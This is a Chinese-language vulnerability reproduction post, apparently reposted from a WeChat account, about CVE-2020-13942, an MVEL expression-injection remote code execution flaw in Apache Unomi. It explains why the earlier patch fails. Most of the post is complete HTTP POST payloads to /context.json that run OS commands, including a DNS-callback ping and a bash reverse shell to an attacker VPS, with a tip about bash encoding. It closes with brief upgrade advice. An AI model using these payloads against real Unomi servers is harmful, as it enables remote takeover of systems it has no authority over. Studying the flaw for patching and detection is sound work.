CVE-2020-13942Apache Unomi远程命令执行漏洞复现

admin 2022年9月16日08:36:16安全文章评论1 views2891字阅读9分38秒阅读模式

一、漏洞介绍

0x01 Apache Unomi介绍

 Apache Unomi是一个Java开源客户数据平台,是用来管理客户和访问者的数据,并个性化客户体验。2020年11月17日,Apache Unomi被披露存在严重安全漏洞(CVE-2020-13942)。由于Apache Unomi允许远程攻击者使用包含任意类的MVEL和OGNL表达式发送恶意请求,最终可导致攻击者使用Unomi应用程序权限远程执行代码。

0x02 Apache Unomi漏洞详情

 Unomi依赖于诸如OGNL或MVEL之类的表达式语言(EL),以允许用户制定复杂而细致的查询。其基于EL的条件来访问存储数据。
 在1.5.1之前的版本中,攻击者通过注入可以对Unomi进行RCE的攻击。攻击者能够通过发送单个请求在Unomi服务器上执行任意代码和OS命令。该漏洞为CVE-2020-11975,目前虽然已经修复,但修复并不充分,可被轻易绕过。
 CVE-2020-11975的补丁中引入了SecureFilteringClassLoader函数,该函数依赖allowlist和blocklist检查表达式中使用的类。SecureFilteringClassLoader依赖这样一个不正确的假设:MVEL和OGNL表达式中的每个类都是使用ClassLoader类的loadClass()方法加载的。SecureFilteringClassLoader覆盖了ClassLoader loadClass方法,并引入了allowlist和blocklist检查。事实上,除了调用loadClass()方法外,还有多种加载类的方法,这会导致安全绕过,并使Unomi遭受RCE攻击。
 Unomi 1.5.1中,允许评估条件使用MVEL表达式,该条件包含任意类。在某些情况下,MVEL表达式使用已实例化的类(例如Runtime或System),而无需调用loadClass()。
 以下HTTP请求的条件是带有MVEL表达式的参数(script::Runtime r = Runtime.getRuntime(); r.exec(”touch /tmp/POC”);)。Unomi会解析该值,并以MVEL表达式的形式执行script ::之后的代码。以下示例中的表达式会创建一个Runtime对象并运行“ touch” OS命令,该命令会在/tmp目录中创建一个空文件。或者在OGNL表达式中加载类,而无需触发loadClass()调用也可执行命令。

二、影响版本

Apache Unomi < 1.5.2

三、漏洞复现

0x01 环境搭建

在授权的某网站刚好发现了Apache Unomi,因此利用该网站直接进行测试。

(1):网站页面如下

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

0x02 漏洞复现

(1):构造的payload如下

POST /context.json HTTP/1.1 Host: IP:port User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0 Content-Length: 486  {     "filters": [         {             "id": "boom",             "filters": [                 {                     "condition": {                          "parameterValues": {                             "": "script::Runtime r = Runtime.getRuntime(); r.exec("gnome-calculator");"                         },                         "type": "profilePropertyCondition"                     }                 }             ]         }     ],     "sessionId": "boom" }

(2):使用dnslog回显

①:在主页面进行抓包

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

②:设置dnslog

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

③:构造如下payload

POST /context.json HTTP/1.1 Host: localhost:8181 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0 Content-Length: 486  {     "filters": [         {             "id": "boom",             "filters": [                 {                     "condition": {                          "parameterValues": {                             "": "script::Runtime r = Runtime.getRuntime(); r.exec('ping dnslog.cn');"                         },                         "type": "profilePropertyCondition"                     }                 }             ]         }     ],     "sessionId": "boom" }  

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

⑤:查看dnslog

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

(3):反弹shell

①:在VPS上进行监听

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

②:构造如下数据包

POST /context.json HTTP/1.1 Host: localhost:8181 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0 Content-Length: 486  {     "filters": [         {             "id": "boom",             "filters": [                 {                     "condition": {                          "parameterValues": {                             "": "script::Runtime r = Runtime.getRuntime(); r.exec('bash -i >& /dev/tcp/VPS/port 0>&1');"                         },                         "type": "profilePropertyCondition"                     }                 }             ]         }     ],     "sessionId": "boom" } 

注意:使用上面的payload进行反弹shell,并不能成功,后面进行了bash编码,成功反弹shell。

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

③:成功getshell

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

四、修复建议

0x01 更新最新版本

目前Apache Unomi已经发布了1.5.2更新版本。建议及时升级。下载链接如下:http://unomi.apache.org/download.html

0x02 缓解措施

尽量避免将数据放入表达式解释器中


参考链接:

https://mp.weixin.qq.com/s/GebQxERJCmULLuRVRXsnYQ

https://www.venustech.com.cn/new_type/aqtg/20201119/22103.html

CVE-2020-13942Apache Unomi远程命令执行漏洞复现

原文始发于微信公众号(想走安全的小白):CVE-2020-13942Apache Unomi远程命令执行漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月16日08:36:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CVE-2020-13942Apache Unomi远程命令执行漏洞复现 http://cn-sec.com/archives/886222.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: